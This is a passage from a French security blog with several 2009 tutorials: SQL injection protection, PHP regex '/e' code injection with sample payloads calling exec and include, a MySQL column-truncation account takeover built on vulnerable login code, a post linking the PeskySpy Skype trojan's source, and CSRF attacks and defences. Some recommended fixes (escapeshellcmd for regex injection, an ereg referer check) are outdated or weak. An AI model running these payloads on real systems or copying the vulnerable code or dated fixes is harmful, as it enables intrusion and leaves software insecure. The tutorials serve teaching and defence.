Il est facile pour un attaquant de deviner le nom des tables, d’ailleurs il existe des listes de tables sensibles susceptibles d’exister sur une base de données genre (login, users, auth, membres..), et depuis mysql 5 il est possible d’injecter les noms des tables à partir de la base information_schema! je reviendrai dans le billet de cette série (SQL Injection avancée) avec plus de détails sur cette partie là!

Il est également possible d’injecter des données depuis les autres bases sur-lesquelles l’utilisateur mysql courant a des droits!

Comment se protéger?

Maintenant que vous avez conscience du danger qu’une injection SQL classique pourrait engendrer lorsqu’elle est exploitée voici les bonnes pratiques pour sécuriser son application :

Pour notre cas par exemple : la solution est de filtrer l’input $_GET['id'] on conservant que la partie entière de sa valeur, pour ce faire :

$user_id = intval($_GET['id']);

et voilà le tour est joué :) , s’il s’agissait d’un nombre à virgule flottante on utilisera floatval() et ainsi de suite..

Pour les chaines de caractères, pensez toujours à utiliser mysql_real_escape_string, cette fonction permet de filtrer tous les caractères spéciaux et vous facilitera la vie! Et si vous avez le malheur de ne pas les utiliser dans vos requêtes, alors c’est bien le moment ;)

Donc voilà les classiques pour les injections SQL! Dans le prochain billet, on passera à la vitesse supérieur! J’exposerai des méthodes d’exploitation plus avancées, des erreurs à ne pas commettre ainsi que des solutions pour prévenir à ce genre d’attaques!

Partager cet article:

Injection de code dans une expressions rationnelle (REGEX Injection)

Mohammed CHERIFI — Sun, 18 Oct 2009 16:42:27 +0000

Salut à tous!

Aujourd’hui je vous parlerai de la sécurité des expressions régulières, appelées aussi expressions rationnelles, ou tout simplement REGEX pour les intimes! Si vous en usé dans vos codes, ce billet est pour vous!

Les expressions rationnelles permettent de manipuler une chaine de caractère de façon très puissante, elles sont souvent utilisées pour la validation des données, le parsing du bbcode dans les forums, également dans les commandes unix comme grep et sed, mais ce n’est pas notre sujet aujourd’hui!

Où est le problème?

Dans une expression rationnelle, il est possible d’utiliser un modificateur « e » qui permet d’évaluer le code contenu dans la chaine de remplacement, donc exécuter du code php!

Dans le language Perl ainsi que dans tous les technologies qui utilisent la librairie PCRE (Perl-compatible regular expressions), y compris PHP, ces derniers supportent l’utilisation de ce modificateur, un attaquant malveillant peut injecter du code si l’entrée n’est pas correctement filtrée!

Exemple :

Voici un code qui parse une chaine de caractère et remplace tous ce qui existe entre [b] et [/b] par CHAINE, on le mettant en majuscule!

$nom = "toto";
$chaine = "Hello my name is [b]".$nom."[/b]";
$pattern = "#\[b\](.*)\[/b\]#e" ;
$replacement = "''.strtoupper('$1').''";
$display = preg_replace($pattern , $replacement, $chaine);
echo $display  ;

Que se passera t’il si toto s’appelle ainsi :

‘.phpinfo().’
‘.exec(\$_GET[cmd]).’
‘.include($_GET[backdoor]).’

Dans toutes les versions PHP < 5.0.5 La chaine de remplacement deviendra : ’.strtoupper(‘\\1‘.phpinfo().’‘).’ » est le code php sera exécuté ! du coup, un attaquant peut injecter un code malveillant !

Comment se protéger?

Si jamais vous êtes amenés à utiliser des expressions rationnelles avec le modificateur « e », pensez à filtrer vos variables en utilisant la fonction escapeshellcmd, d’où notre code deviendra :

$nom = "simo.'phpinfo().'"; // test d'injection
$chaine = "Hello my name is [b]".$nom."[/b]";
$pattern = "#\[b\](.*)\[/b\]#e" ;
$replacement = "''.strtoupper(escapeshellcmd('$1')).''";
$display = preg_replace($pattern , $replacement, $chaine);
echo $display  ;

Sinon Le plus simple est d’utiliser une version récente de PHP > 5.0.5 est le tour est joué ;)

Partager cet article:

La faille MySQL Column truncation

Mohammed CHERIFI — Thu, 10 Sep 2009 03:07:52 +0000

Hello les amis !

Aujourd’hui, je vous parlerai d’un nouveau type de faille, il s’agit de MySQL column truncation!

Pendant que les failles du types SQL Injections restent parmi les vecteurs d’attaque les plus discutés sur le Web, il existe un autre genre qui a été discuté pour la première fois par Stefan Esser, ce dernier a illustré son exploitation dans un bug reporté sur bugtraq affectant wordpress!

Comment ça marche ?

Par défaut, la comparaison de deux chaine de caractère dans MySQL ne se fait pas en mode binaire, ceci se fait en « relaxed mode », ce mode compare deux chaines on ignorant les espaces et les caractères nuls de la fin de la chaine, du coup, pour mysql, la chaine de caractères ‘admin’ est égale à ‘admin ‘! .

De ce fait mysql refusera d’enregistrer un nouvel utilisateur qui essaie de s’incrire avec ‘admin ‘ (admin+espace) ce qui est tout à fait logique!

Ou est le problème?

Pour illustrer le problème on immagine l’application suivante:

Un forum de discution ou un blog ou tous le monde peut s’enregistrer
Le champs username de la table utilisateurs est limité à 16 caractères
L’administrateur du forum est ‘admin’
MySQL est utilisé dans le mode par défaut
Pas de vérification sur la longueur du nom d’utilisateur

Qu’est ce qui se passe si on essaie de créer un compte avec comme nom d’utilisateur ‘admin xD’ (admin+11 espaces+xD) et un mot de passe ‘p455wd’:

MySQL va cherche si il existe un utilisateur avec comme username ‘admin xD’, et comme aucun utilisateur ne l’as pris l’application va l’accepter et continuera pour inserer le nouvel utilisateur dans la base.

La chaine du nom d’utilisateur fait 18 caractères (admin+11 espaces+xD), mySQL va automatiquement tronquer les deux dernier caractères (xD) car le champ username est limité à 16 caractères, ce qui donnera ‘admin ‘ (admin+11 espaces), ce dernier sera accepté par l’application et inséré dans la table d’utilisateurs, on aura donc deux utilisateur avec le même login ‘admin’ (rappellez vous que la comparaison en mysql dans le mode par défaut ne prends pas en compte les espaces!).

Dans ce cas, un problème de sécurité potentiel peut affecter l’application, en dépendance de la façon dont elle traite le champ username!

Exemple d’une application vulnérable:
Connexion :

if(!empty($_POST['username']) && !empty($_POST['password']){
$username = $_POST['username'];
$password= $_POST['password'];
if(login($username,$password)){
$userdata = getUserInfoByLogin($username);
}
}

la fonction getUserInfoByLogin()


function getUserInfoByLogin($username){

$query = mysql_query("SELECT * FROM utilisateurs WHERE username = '$username");

$userinfo= mysql_fetch_array($query);

return $userinfo ;

}

Espace membre


if($userdata['username'] == 'admin'){

//espace privé : console d'administration

}

else{

// espace membre!

}

Resultat:

Puisque l’attaquant a un compte avec le login ‘admin ‘, il pourra se connecter à ce dernier avec le passe ‘p455wd’ ! et puisque l’enregistrement du vrai administrateur est le premier en base, celuila sera retourné ! et l’attaquant aura accès à l’espace administrateur du forum!

Ceci est juste une illustration, la faille peut se présenter différemment sur une application web,je cite là wordpress qui était le premier victime de ce type de vulnérabilités!

Comment sécuriser mon application?

Toujours vérifier la longueur des champs sensibles (comme username dans notre exemple), et interrompre l’exécution de votre application si cella dépasse la longueur maximale configurée dans votre table mysql!

Partager cet article:

Le code source du trojan Skype Peskyspy publié sous liscence GPL

Mohammed CHERIFI — Sun, 06 Sep 2009 06:31:58 +0000

Ruben Unteregger

Ruben Unteregger vient de publier le code source de Peskyspy, un cheval de troie pour Skype, le trojan permet le monitoring de tout appel entrant ou sortant d’une machine infectée, d’enregistrer ces conversations et les convertir au format MP3, puis les crypter et les envoyer au serveur de le l’attaquant!

Pendant 7 ans, Ruben Unteregger travaillait en tant qu’ingénieur logiciel pour une société suisse (ERA IT Solutions) , son job était de programmer un malware pour pénétrer des ordinateurs privés et espionner les communications VOIP, étant couvert par le gouvernement suisse, Ruben Unteregger est légalement resté le propriétaire des droits du code source du trojan, et a décidé de le rendre publique.

Comment Peskyspy procède-t’il?

Une fois exécuté sur la machine, PeSkyspy injecte un composant (Skype-TAP) dans Skype, ce composant utilise les API Windows qui se chargent de la gestion des entrées/sorties audio, ainsi ce dernier peut capturer l’ensemble des données audio transitant entre le processus Skype.exe et les périphériques audio sous-jacents, ces données seront extraites au format PCM (Pulse Code Modulation) puis convertis au format MP3, et finalement transmises au serveur de l’attaquant, ce dernier se connectera à son serveur et récupèra les fichiers MP3 de toutes les conversations enregistrées!

En effectuant l’écoute directement sur les périphériques audio du système d’exploitation, la capture des données audio reste indépendante du protocole utilisé par Skype, même si ce dernier change de méthode de cryptage de conversation le trojan reste toujours fonctionnel ;)

Code Source :

Entièrement codé en C++, le code source de PeSkyspy a été publié sur le site megapanzer. Comme a précisé son auteur, le code est d’une extrême simplicité et reste une bonne référence pour les apprentis! cependant sa publication peut représenter un danger réel pour les entreprises utilisant Skype comme moyen de communication avec l’extérieur, notamment les société d’off-shoring!

Voilà! je vous laisse avec le code source de PeSkyspy, bonne lecture !

Télécharger ici le code source de PeSkyspy

Lien alternative

Partager cet article:

Se protéger contre les attaques CSRF Injection

Mohammed CHERIFI — Fri, 07 Aug 2009 06:36:51 +0000

CSRF Injection (Cross Site Request Forgeries) est une classe d’attaque propre aux applications WEB qui a toujours existé mais qui reste moins connue! son exploitation par un attaquant malveillant peut avoir des conséquences dramatique sur un système d’information.

Dans ce billet, je vais vous expliquer ce que c’est une attaque de type CSRF Injection, avec des exemples d’exploitation illustrés ainsi que des mesures de protection qui peuvent être implémentés.

CSRF c’est quoi?

Une attaque CSRF se repose sur l’exploitation de la confiance d’une application WEB vis à vis ses clients, l’objectif de cette dernière est de forcer le navigateur à envoyer une requête « forgée » à l’insu d’un internaute connecté à son compte avec les privilèges de ce dernier, autrement dit : « Je n’ai pas les droits pour faire une action, je m’arrange alors pour que l’utilisateur ayant les privilèges nécessaires la fasse à ma place (sans qu’il soit au courant bien entendu) ».

Ce type d’attaque n’est pas difficile à mettre en œuvre, il peut être mené par n’importe qui par un simple lien ou script caché dans un email ou une page WEB, on suivant le lien contrefait le navigateur de la victime exécutera le code avec les permissions qu’a ce dernier sur le site vulnérable (forum, blog, espace membre..).

Quelques exemples d’exploitation:

Pour illustrer la facilité de la mise en œuvre d’une attaque CSRF avec des exemples concrets: Je vais prendre l’exemple d’un forum qui n’as pas pensé à se protéger contre ce type de faille, son administrateur connecté à son espace admin visite une page contenant l’un de ces codes :

Exemple avec des requêtes GET

Suppression de tous les topics d’un forum

Suppression d’un utilisateur :

Donner les drois d’administrateur à l’utilisateur haxor

Hello master

Comment ça marche?

Lorsque l’administrateur du forum visite une page contenant l’un de ces codes, son navigateur va essayer de charger l’image se trouvant à l’adresse indiquée par la balise « » sans se douter que ce n’est pas une image. Le serveur du forum va donc exécuter la page et supprimer tous les messages en croyant que c’est l’administrateur qui a demandé la suppression!

On partant sur le même principe le deuxième et troisième exemples illustrent l’utilisation des balises HTML avec différents attributs où le but est toujours de forcer le navigateur à appeler une page web du site victime via une requête HTTP de type GET, cette page sera interprétée par le serveur ce qui mènera à des actions non désirés par le client possédant des droits privilégiés!

Exemple avec une requête POST

On suppose que sur notre forum nous avons un formulaire de modification de mot de passe et qu’on souhaite forger une requête HTTP de type POST pour forcer le navigateur à poster les données afin de modifier le mot de passe du client (toujours à son insu bien entendu).

voici à quoi le code du formulaire peut ressembler


Entrez votre nouveau mot de passe :

Confirmer le nouveau mot de passe :

L’objectif est d’effectuer une requête HTTP de type POST vers la page changepasswd.php avec les champs new_password et new_password_confirm pré-remplis, avec le nouveau passe souhaité par l’attaquant, pour cela un attaquant peut procéder ainsi :

Création d’une première page qui contient le formulaire pré-remplis avec comme « action » l’url du site victime
Mettre en place un code javascript pour soumettre le formulaire au chargement de la page
Créer une deuxième page pour cacher la première dans un afin de cacher ce qui se passe derrière ;)

D’où le code de la première page (on la nome csrfpost.html) est :

Le code de la deuxième page devrai contenir un caché avec d’éventuel contenu pour que la victime ne se doute pas!

Hello master

De cette manière l’iframe appelera la page csrfpost.html qui postera la requête post forgée vers la page http://www.victime.ltd/user/changepasswd.php et qui de son tour sera exécuté par le serveur du site vulnerable, et le password sera modifié par un nouveau ( « pwn3d » dans notre cas)!

Faites gaffe alors lorsqu’on vous incitent, à visiter un lien quelconque, et si jamais vous avez suivis un lien et que le contenu de la page ne vous dit rien; examinez le code source! il y a de forte possibilités qu’il s’agit d’une attaque CSRF.

Comment se protéger ?

Il est assez difficile de détecter une attaque CSRF même en utilisant un antivirus ou un firewall, alors là l’antivirus c’est vous! L’objectif est d’empêcher le navigateur à effectuer des recettes à l’insu du client ou sans accord préalable de ce dernier.
Pour cela voici des mesures à prendre en compte :

Ne pas suivre les liens suspects
Ne pas sauvegarder vos identifiants dans votre navigateur
Toujours se déconnecter à la fin d’utilisation de vos comptes
Utilisez un deuxième navigateur pour les sites suspects
Désactiver l’interprétation du code HTML dans vos client WEBMail

Comment sécuriser son code?

Si vous êtes développeur, voici quelques bonnes pratiques à implémenter dans vos codes:

Toujours utiliser des pages de confirmation et demander la validation du client avant toute action critique
Utiliser des jetons de sécurité (tokenid) dans tous vos pages sensibles (voir l’exemple)
Vérifier l’URL de provenance (HTTP_REFERER) pour prévenir des requêtes POST forgées (voir l’ exemple)

Utiliser des jetons:

L’utilisation d’un jeton de sécurité est primordiale pour une application qui se respecte, personnellement je trouve que c’est la meilleure solution pour se protéger contre les attaques CSRF!

Pour les requêtes HTTP de type GET:

On deverai avoir 2 pages, une page de confirmation qui servira à la génération d’une clé aléatoire (jeton) et la stocker dans une variable de session, ainsi tous les liens qui servent d’effectuer des actions sensibles porteront ce jeton dans une variable GET, le contenu de cette variable sera vérifié dans la deuxième page qui exécute l’action.

Exemple de page de confirmation avec une requête GET :


Etes vous sûre de vouloir supprimer l'utilisateur toto ??
Supprimer
Annuler

Dans la page supprimer_utilisateur.php

Pour les requêtes HTTP de type POST

Quant aux requêtes HTTP de type POST c’est toujours le même principe que pour GET sauf qu’au lieu de passer le jeton en paramètre dans le lien on le mets dans un champs caché de type « hidden ».

On reprends l’exemple mentionné en haut mais cette fois-ci securisé =)



Entrez votre nouveau mot de passe :

Confirmer le nouveau mot de passe :

Et dans le fichier changepasswd.php

Ne faite jamais confiance à aucune données récupéré coté client tant que le filtrage n’as pas été approuvé =)

Vérification de l’url de provenance :

La vérification de l’url de provenance vous aidera à mieux vous protéger contre les CSRF avec des requêtes POST comme dans l’exemple expliqué en haut, ce n’est pas une protection sûre et peut être contourné si l’attaque provient du même site, mais ça permet comme même d’éviter plusieurs ennuits ;)

Bref, il suffit de placer le code suivant dans les fichiers qui effectuent des actions sensibles (changement de mot de passe, suppression de données, etc..)

if (!empty($_SERVER['HTTP_REFERER'])){
if (!ereg($_SERVER['HTTP_HOST'], $_SERVER['HTTP_REFERER'])){
die("Vous ne pouvez pas venir ici!");
}
}
else{
die("Referer introuvable");
}

Conclusion

La faille CSRF Injection reste parmi les classes d’attaques les plus dangereuses sur le WEB vu son exploitation instantanée et les importants dégâts qu’elle peut engendrer! Je détaillerai dans un prochain billet l’exploitation avancée de cette dernière ;)

Je rappelle que des gros sites ont étaient victimes de ce type t’attaque, je cites: Gmail, MySpace, Windows Live Mail, Skyrock, Dynadot et bien d’autres .. sinon j’espère que ce tuto vous a été utile et vous a appris de nouvelles notions ;)

Allez, bonne journée à tous!

session_start();

// on verifie la clé de securité avant de procéder au traitement

if(!empty($_GET['uniqid']) & $_GET['uniqid'] == $_SESSION['tokenid']){

// on efféctue le traitement

}

else{

die(« Votre session a expirée »);

}

?>[

Partager cet article: